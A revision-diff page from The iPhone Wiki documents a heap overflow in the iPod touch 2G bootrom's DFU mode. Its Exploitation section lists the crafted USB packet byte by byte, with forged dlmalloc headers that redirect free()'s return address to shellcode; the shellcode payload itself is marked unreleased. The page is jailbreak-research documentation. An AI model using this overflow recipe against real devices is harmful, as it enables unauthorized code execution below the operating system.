Difference between revisions of "Usb control msg(0xA1, 1) Exploit"

From The iPhone Wiki
Jump to: navigation, search
m
Line 1: Line 1:
 
{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
 
{{DISPLAYTITLE:usb_control_msg(0xA1, 1) Exploit}}
A heap overflow exists in [[N72ap|iPod touch 2G]] bootrom (old and new MC models) DFU mode when sending a USB control message of request type 0xA1, request 0x1.
+
A heap overflow exists in the [[N72ap|iPod touch 2G]] (both [[iBoot-240.4|old]] and [[iBoot-240.5.1|new]]) [[S5L8720 (Bootrom)|bootrom]]'s [[DFU Mode]] when sending a USB control message of request type 0xA1, request 0x1.
   
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[posixninja]] analyzed and explained this one.
+
On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). [[User:posixninja|posixninja]] analyzed and explained this one.
   
 
== Credit (Alphabetical) ==
 
== Credit (Alphabetical) ==
* '''vulnerability''': [[pod2g]]
+
* '''vulnerability''': [[User:pod2g|pod2g]]
* '''exploitation''': [[pod2g]]
+
* '''exploitation''': [[User:pod2g|pod2g]]
 
* '''payload''': unreleased
 
* '''payload''': unreleased
   
 
== Vulnerability ==
 
== Vulnerability ==
  +
By fuzzing all possible USB control messages of the [[N72ap|iPod touch 2G]]'s [[DFU Mode]], it appeared that one special usb control message made it reboot.
 
By fuzzing all possibles USB control messages of iPod2,1 DFU mode, it appeared that one special usb control message made it reboot.
 
 
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.
 
The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.
   
 
== Exploitation ==
 
== Exploitation ==
 
 
In order to exploit it, send this special USB packet (using 0x21, 1) :
 
In order to exploit it, send this special USB packet (using 0x21, 1) :
   
Line 41: Line 39:
 
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.
 
Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.
   
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute !
+
free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!
   
 
[[Category:Exploits]]
 
[[Category:Exploits]]

Revision as of 22:58, 20 September 2010

A heap overflow exists in the iPod touch 2G (both old and new) bootrom's DFU Mode when sending a USB control message of request type 0xA1, request 0x1.

On newer devices, the same USB message triggers a double free() when the image upload is marked as finished, also rebooting the device (but that's not exploitable because the double free() happens in a row). posixninja analyzed and explained this one.

Credit (Alphabetical)

  • vulnerability: pod2g
  • exploitation: pod2g
  • payload: unreleased

Vulnerability

By fuzzing all possible USB control messages of the iPod touch 2G's DFU Mode, it appeared that one special usb control message made it reboot. The reboot happens only with lengths bigger than 0x100 bytes. It's a buffer overflow.

Exploitation

In order to exploit it, send this special USB packet (using 0x21, 1) :

[ 0x100 bytes of nulls ]
/* free'd buffer dlmalloc header: */
0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk
0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk
/* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */
0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction
0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer
0xff, 0xff, 0xff, 0xff, // 0x10: (0x08)
0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (_replace with packet size_)
0x00, 0x01, 0x00, 0x00, // 0x18: (0x10)
0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14)
0x00, 0x00, 0x00, 0x00, // 0x20: (0x18)
0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c)
/* attack dlmalloc header: */
0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk
0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-)
0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start()
0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack

Then trigger the exploit by using USB control message 0xA1, 1 with the same data size.

free() LR in stack will be replaced by FD, a pointer to the shellcode to execute!